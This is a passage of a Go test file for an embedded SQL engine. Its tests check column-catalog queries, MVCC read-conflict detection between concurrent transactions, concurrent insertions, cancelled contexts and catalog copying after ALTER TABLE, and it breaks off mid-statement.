err)\n\t\trequire.Equal(t, \"mytable1\", row.ValuesBySelector[\"(columns.table)\"].RawValue())\n\t\trequire.Equal(t, \"title\", row.ValuesBySelector[\"(columns.name)\"].RawValue())\n\t\trequire.Equal(t, VarcharType, row.ValuesBySelector[\"(columns.type)\"].RawValue())\n\t\trequire.Equal(t, int64(256), row.ValuesBySelector[\"(columns.max_length)\"].RawValue())\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.nullable)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.auto_increment)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.indexed)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.primary)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.unique)\"].RawValue().(bool))\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t})\n\n\tt.Run(\"unconditional column query should return all the columns of mytable2\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), tx, \"SELECT * FROM COLUMNS('mytable2')\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable2\", row.ValuesBySelector[\"(columns.table)\"].RawValue())\n\t\trequire.Equal(t, \"id\", row.ValuesBySelector[\"(columns.name)\"].RawValue())\n\t\trequire.Equal(t, IntegerType, row.ValuesBySelector[\"(columns.type)\"].RawValue())\n\t\trequire.Equal(t, int64(8), row.ValuesBySelector[\"(columns.max_length)\"].RawValue())\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.nullable)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.auto_increment)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.indexed)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.primary)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.unique)\"].RawValue().(bool))\n\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable2\", row.ValuesBySelector[\"(columns.table)\"].RawValue())\n\t\trequire.Equal(t, \"name\", row.ValuesBySelector[\"(columns.name)\"].RawValue())\n\t\trequire.Equal(t, VarcharType, row.ValuesBySelector[\"(columns.type)\"].RawValue())\n\t\trequire.Equal(t, int64(100), row.ValuesBySelector[\"(columns.max_length)\"].RawValue())\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.nullable)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.auto_increment)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.indexed)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.primary)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.unique)\"].RawValue().(bool))\n\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable2\", row.ValuesBySelector[\"(columns.table)\"].RawValue())\n\t\trequire.Equal(t, \"active\", row.ValuesBySelector[\"(columns.name)\"].RawValue())\n\t\trequire.Equal(t, BooleanType, row.ValuesBySelector[\"(columns.type)\"].RawValue())\n\t\trequire.Equal(t, int64(1), row.ValuesBySelector[\"(columns.max_length)\"].RawValue())\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.nullable)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.auto_increment)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.indexed)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.primary)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.unique)\"].RawValue().(bool))\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t})\n}\n\nfunc TestMVCC(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id);\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1 (title);\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1 (active);\", nil)\n\trequire.NoError(t, err)\n\n\tt.Run(\"read conflict should be detected when a new index was created by another transaction\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"CREATE INDEX ON table1 (payload);\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrTxReadConflict)\n\t})\n\n\tt.Run(\"no read conflict should be detected when processing transactions without overlapping rows\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"read conflict should be detected when processing transactions with overlapping rows\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrTxReadConflict)\n\t})\n\n\tt.Run(\"read conflict should be detected when processing transactions with invalidated queries\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trowReader, err := engine.Query(context.Background(), tx2, \"SELECT * FROM table1 USE INDEX ON id WHERE id > 0\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor {\n\t\t\t_, err = rowReader.Read(context.Background())\n\t\t\tif err != nil {\n\t\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\terr = rowReader.Close()\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrTxReadConflict)\n\t})\n\n\tt.Run(\"no read conflict should be detected when processing transactions with non-invalidated queries\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trowReader, err := engine.Query(context.Background(), tx2, \"SELECT * FROM table1 USE INDEX ON id WHERE id > 10\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = rowReader.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = rowReader.Close()\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"read conflict should be detected when processing transactions with invalidated queries\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"DELETE FROM table1 WHERE id > 0\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrTxReadConflict)\n\t})\n\n\tt.Run(\"no read conflict should be detected when processing transactions with non-invalidated queries\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"DELETE FROM table1 WHERE id > 2\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"read conflict should be detected when processing transactions with invalidated queries in desc order\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', true, x'0A10');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trowReader, err := engine.Query(context.Background(), tx2, \"SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor {\n\t\t\t_, err = rowReader.Read(context.Background())\n\t\t\tif err != nil {\n\t\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\terr = rowReader.Close()\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrTxReadConflict)\n\t})\n\n\tt.Run(\"no read conflict should be detected when processing transactions with non invalidated queries in desc order\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trowReader, err := engine.Query(context.Background(), tx2, \"SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor {\n\t\t\t_, err = rowReader.Read(context.Background())\n\t\t\tif err != nil {\n\t\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\terr = rowReader.Close()\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"no read conflict should be detected when processing transactions with non invalidated queries\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (12, 'title12', true, x'0A12');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trowReader, err := engine.Query(context.Background(), tx2, \"SELECT * FROM table1 LIMIT 2\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor {\n\t\t\t_, err = rowReader.Read(context.Background())\n\t\t\tif err != nil {\n\t\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\terr = rowReader.Close()\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"read conflict should be detected when processing transactions with invalidated queries\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"UPSERT INTO table1 (id, title, active, payload) VALUES (12, 'title12', true, x'0A12');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trowReader, err := engine.Query(context.Background(), tx2, \"SELECT * FROM table1 ORDER BY id DESC LIMIT 1 OFFSET 1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor {\n\t\t\t_, err = rowReader.Read(context.Background())\n\t\t\tif err != nil {\n\t\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\terr = rowReader.Close()\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', false, x'0A10');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrTxReadConflict)\n\t})\n\n\tt.Run(\"read conflict should be detected when processing transactions with invalidated catalog changes\", func(t *testing.T) {\n\t\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"CREATE TABLE mytable1 (id INTEGER, PRIMARY KEY id);\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"CREATE TABLE mytable1 (id INTEGER, PRIMARY KEY id);\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrTxReadConflict)\n\t})\n}\n\nfunc TestMVCCWithExternalCommitAllowance(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true).WithExternalCommitAllowance(true))\n\trequire.NoError(t, err)\n\tt.Cleanup(func() { closeStore(t, st) })\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\tgo func() {\n\t\ttime.Sleep(1 * time.Second)\n\t\tst.AllowCommitUpto(1)\n\t}()\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, PRIMARY KEY id);\", nil)\n\trequire.NoError(t, err)\n\n\ttx1, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\trequire.NoError(t, err)\n\n\ttx2, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), tx2, \"INSERT INTO table1 (id, title, active) VALUES (1, 'title1', true);\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), tx2, \"INSERT INTO table1 (id, title, active) VALUES (2, 'title2', false);\", nil)\n\trequire.NoError(t, err)\n\n\tgo func() {\n\t\ttime.Sleep(1 * time.Second)\n\t\tst.AllowCommitUpto(2)\n\t}()\n\n\t_, _, err = engine.Exec(context.Background(), tx1, \"COMMIT;\", nil)\n\trequire.NoError(t, err)\n\n\tgo func() {\n\t\ttime.Sleep(1 * time.Second)\n\t\tst.AllowCommitUpto(3)\n\t}()\n\n\t_, _, err = engine.Exec(context.Background(), tx2, \"COMMIT;\", nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestConcurrentInsertions(t *testing.T) {\n\tworkers := 10\n\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true).WithMaxConcurrency(workers))\n\trequire.NoError(t, err)\n\tt.Cleanup(func() { closeStore(t, st) })\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\tCREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id);\n\t\tCREATE INDEX ON table1 (title);\n\t`, nil)\n\trequire.NoError(t, err)\n\n\tvar wg sync.WaitGroup\n\twg.Add(workers)\n\n\tfor i := 0; i < workers; i++ {\n\t\tgo func(i int) {\n\t\t\ttx, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\t_, _, err = engine.Exec(context.Background(), tx,\n\t\t\t\t\"UPSERT INTO table1 (id, title, active, payload) VALUES (@id, 'title', true, x'00A1');\",\n\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\"id\": i,\n\t\t\t\t},\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\t_, _, err = engine.Exec(context.Background(), tx, \"COMMIT;\", nil)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\twg.Done()\n\t\t}(i)\n\t}\n\n\twg.Wait()\n}\n\nfunc TestSQLTxWithClosedContext(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id);\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1 (title);\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1 (active);\", nil)\n\trequire.NoError(t, err)\n\n\tt.Run(\"transaction creation should fail with a cancelled\", func(t *testing.T) {\n\t\tctx, cancel := context.WithCancel(context.Background())\n\t\tcancel()\n\n\t\t_, _, err := engine.Exec(ctx, nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.ErrorIs(t, err, context.Canceled)\n\t})\n\n\tt.Run(\"transaction commit should fail with a cancelled\", func(t *testing.T) {\n\t\tctx, cancel := context.WithCancel(context.Background())\n\n\t\ttx, _, err := engine.Exec(ctx, nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(ctx, tx, \"INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tcancel()\n\n\t\t_, _, err = engine.Exec(ctx, tx, \"COMMIT;\", nil)\n\t\trequire.ErrorIs(t, err, context.Canceled)\n\t})\n}\n\nfunc setupCommonTestWithOptions(t *testing.T, sopts *store.Options) (*Engine, *store.ImmuStore) {\n\tst, err := store.Open(t.TempDir(), sopts.WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tt.Cleanup(func() { closeStore(t, st) })\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\treturn engine, st\n}\n\nfunc TestCopyCatalogToTx(t *testing.T) {\n\tfileSize := 1024\n\n\topts := store.DefaultOptions()\n\topts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(10)).WithFileSize(fileSize)\n\n\tengine, st := setupCommonTestWithOptions(t, opts)\n\n\texec := func(t *testing.T, stmt string) *SQLTx {\n\t\tret, _, err := engine.Exec(context.Background(), nil, stmt, nil)\n\t\trequire.NoError(t, err)\n\t\treturn ret\n\t}\n\n\tquery := func(t *testing.T, stmt string, expectedRows ...*Row) {\n\t\treader, err := engine.Query(context.Background(), nil, stmt, nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, expectedRow := range expectedRows {\n\t\t\trow, err := reader.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, expectedRow, row)\n\t\t}\n\n\t\t_, err = reader.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = reader.Close()\n\t\trequire.NoError(t, err)\n\t}\n\n\tcolVal := func(t *testing.T, v interface{}, tp SQLValueType) TypedValue {\n\t\tswitch v := v.(type) {\n\t\tcase nil:\n\t\t\treturn &NullValue{t: tp}\n\t\tcase int:\n\t\t\treturn &Integer{val: int64(v)}\n\t\tcase string:\n\t\t\treturn &Varchar{val: v}\n\t\tcase []byte:\n\t\t\treturn &Blob{val: v}\n\t\tcase bool:\n\t\t\treturn &Bool{val: v}\n\t\t}\n\t\trequire.Fail(t, \"Unknown type of value\")\n\t\treturn nil\n\t}\n\n\ttRow := func(\n\t\ttable string,\n\t\tid int64,\n\t\tv1, v2, v3 interface{},\n\t) *Row {\n\t\tidVal := &Integer{val: id}\n\t\tv1Val := colVal(t, v1, IntegerType)\n\t\tv2Val := colVal(t, v2, VarcharType)\n\t\tv3Val := colVal(t, v3, AnyType)\n\n\t\treturn &Row{\n\t\t\tValuesByPosition: []TypedValue{\n\t\t\t\tidVal,\n\t\t\t\tv1Val,\n\t\t\t\tv3Val,\n\t\t\t\tv2Val,\n\t\t\t},\n\t\t\tValuesBySelector: map[string]TypedValue{\n\t\t\t\tEncodeSelector(\"\", table, \"id\"):      idVal,\n\t\t\t\tEncodeSelector(\"\", table, \"name\"):    v1Val,\n\t\t\t\tEncodeSelector(\"\", table, \"amount\"):  v3Val,\n\t\t\t\tEncodeSelector(\"\", table, \"surname\"): v2Val,\n\t\t\t},\n\t\t}\n\t}\n\n\t// create two tables\n\texec(t, \"CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)\")\n\texec(t, \"CREATE UNIQUE INDEX ON table1 (name)\")\n\texec(t, \"CREATE UNIQUE INDEX ON table1 (name, amount)\")\n\tquery(t, \"SELECT * FROM table1\")\n\n\texec(t, \"CREATE TABLE table2 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)\")\n\texec(t, \"CREATE UNIQUE INDEX ON table2 (name)\")\n\texec(t, \"CREATE UNIQUE INDEX ON table2 (name, amount)\")\n\tquery(t, \"SELECT * FROM table2\")\n\n\tt.Run(\"should fail due to unique index\", func(t *testing.T) {\n\t\t_, _, err := engine.Exec(context.Background(), nil, \"INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrKeyAlreadyExists)\n\t})\n\n\t// insert some data\n\tvar deleteUptoTx *store.TxHeader\n\n\tt.Run(\"insert few transactions\", func(t *testing.T) {\n\t\tfor i := 1; i <= 5; i++ {\n\t\t\ttx, err := st.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tkey := []byte(fmt.Sprintf(\"key_%d\", i))\n\t\t\tvalue := make([]byte, fileSize)\n\n\t\t\terr = tx.Set(key, nil, value)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tdeleteUptoTx, err = tx.Commit(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t})\n\n\t// alter table to add a new column to both tables\n\tt.Run(\"alter table and add data\", func(t *testing.T) {\n\t\texec(t, \"ALTER TABLE table1 ADD COLUMN surname VARCHAR\")\n\t\texec(t, \"INSERT INTO table1(name, surname, amount) VALUES('Foo', 'Bar', 0)\")\n\t\texec(t, \"INSERT INTO table1(name, surname, amount) VALUES('Fin', 'Baz', 0)\")\n\n\t\texec(t, \"ALTER TABLE table2 